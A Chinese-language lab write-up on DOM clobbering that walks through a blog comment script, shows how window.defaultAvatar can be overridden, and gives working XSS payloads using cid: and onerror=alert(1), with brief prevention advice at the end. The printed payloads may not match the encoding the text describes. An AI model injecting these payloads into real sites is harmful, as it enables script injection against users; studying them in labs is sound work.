目录
[二、利用 DOM 破坏来启用 XSS](#二、利用 DOM 破坏来启用 XSS)
[2.1 源代码分析](#2.1 源代码分析)
[2.2 构造 defaultAvatar](#2.2 构造 defaultAvatar)
[2.3 payload](#2.3 payload)
一、环境
二、利用 DOM 破坏来启用 XSS
进入环境是一个博客,有评论的功能,围绕主题存在XSS漏洞,那么先尝试测试下XSS。

Email存在正则,允许的HTML部分使用<textarea>标签插入也没什么区别。
按照提示,提交上去看看什么情况。发现被过滤掉了,我们提交的只留下了<img src=1>部分,onerror事件没有了。
现在需要考虑的是怎么去找危害的代码,来看一下源代码。 发现使用了DOMPurify框架,这个框架是一个前端过滤框架用来防御DOMxss,这个框架很强大绕过的概率几乎为零。
2.1 源代码分析
那么就从源代码中找找是否有漏洞存在。当从form表单中提交到了"/post/comment",后端代码又看不到。现在只能找 js 中存在DOM破坏的地方。其中:
<script src='/resources/js/loadCommentsWithDomClobbering.js'></script>来进行源代码分析。
javascript
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
function escapeHTML(data) {
return data.replace(/[<>'"]/g, function(c){
return '&#' + c.charCodeAt(0) + ';';
})
}
function displayComments(comments) {
let userComments = document.getElementById("user-comments");
for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML
if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
}
let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
firstPElement.innerHTML = newInnerHtml
}
if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();
if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
}
firstPElement.appendChild(divImgContainer);
commentSection.appendChild(firstPElement);
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
}
}
};
首先可以看到嵌套了两个方法。基于评论下一个过滤、一个展示、一个载入。其中单双引号和尖括号过滤成了实体编码。
可以看到form表单提交到了loadComments函数里面去了。
然后就是loadComments会请求postCommentPath和window.location.search。window.location是请求的地址栏,search就是请求的参数。
提交完form表单之后就会返回然后走进displayComments进行展示。然后获取所有comments进行循环,会创建一个<p>标签,然后创建的头像和<img>标签,创建div后然后把标签放进div。

分析完了功能,发现这个头像如果不存在就是走默认的头像。然后会写一个<img>标签其中src可能会存在问题的,src是可以触发 xss 的。
javascript
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
很简单 src 下是表示判断是否有头像,没有的话 defaultAvatar.avatar 的取值就是取 avatar 的默认值。那么如果能取到 window.defaultAvatar 就有可能可以闭合 src。window.defaultAvatar 能够自己构造吗?显然可以<img name=defaultAvatar>那么window.defaultAvatar就会把name给取出来。就是很典型的DOM破坏。
2.2 构造 defaultAvatar
那怎么去构造 defaultAvatar ?可以用 DomClobbering 来控制 window.defaultAvatar,只要我们原来没有头像就可以构造⼀个 defaultAvatar.avatar 进行 XSS 了。这是⼀个两层的层级关系,我们可以用 HTMLCollection 来操作。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="author" content="system">
<meta name="keyframes" content="whoami">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1" onerror=alert(1)//"></a>
</body>
<script>
console.log(defaultAvatar)
通过打印调试,是一个集合。我们通过 x.y 的形式能够取出<a>标签。当我们用 alert 会自动进行转码,转码后会把 href 后的给取出来。此时 defaultAvatar 就走到我们上传的投头像,defaultAvatar 现在是我们构造的。defaultAvatar.avatar 就是我们 href 的值。
2.3 payload
现在需要闭合双引号和写入 onerror。此时闭合双引号有个问题,就是 href 中需要有双引号才能闭合。想要逃脱双引号控制,我们的href必须要有双引号,要不然 onerror 写进 src中没什么用。
此时我们的双引号需要进行HTML实体编码,用URL编码的话浏览器会报错。
payload:
html
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1"onerror=alert(1)//">

不一样了,没出发onerror事件,此时我们在评论一次。发现头像已经被覆盖了。但是双引号被url编码了。

此时使用不存在的伪协议 如cid,成功触发 XSS。
html
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">


三、总结
本章内容学西了DOM破坏漏洞。Dom Clobbering 就是⼀种将HTML代码注入页面中以操纵DOM并最终更改页面上 JavaScript 的技术。在无法直接XSS的情况下,我们就可以往DOMClobbering 方向考虑。通过自己自定义属性来构造元素从而覆盖掉原来的元素。也了解了前端的过滤框架DOMPurify框架。
如何防止DOM破坏攻击:
可以通过实施检查来确保对象或函数符合期望,从而防止 DOM 破坏攻击。例如,可以检查 DOM 节点的属性属性实际上是的实例。这确保了该属性是属性属性,而不是被破坏的 HTML 元素。检查对象和函数是否合法。如果要过滤 DOM,请确保检查对象或函数不是 DOM 节点。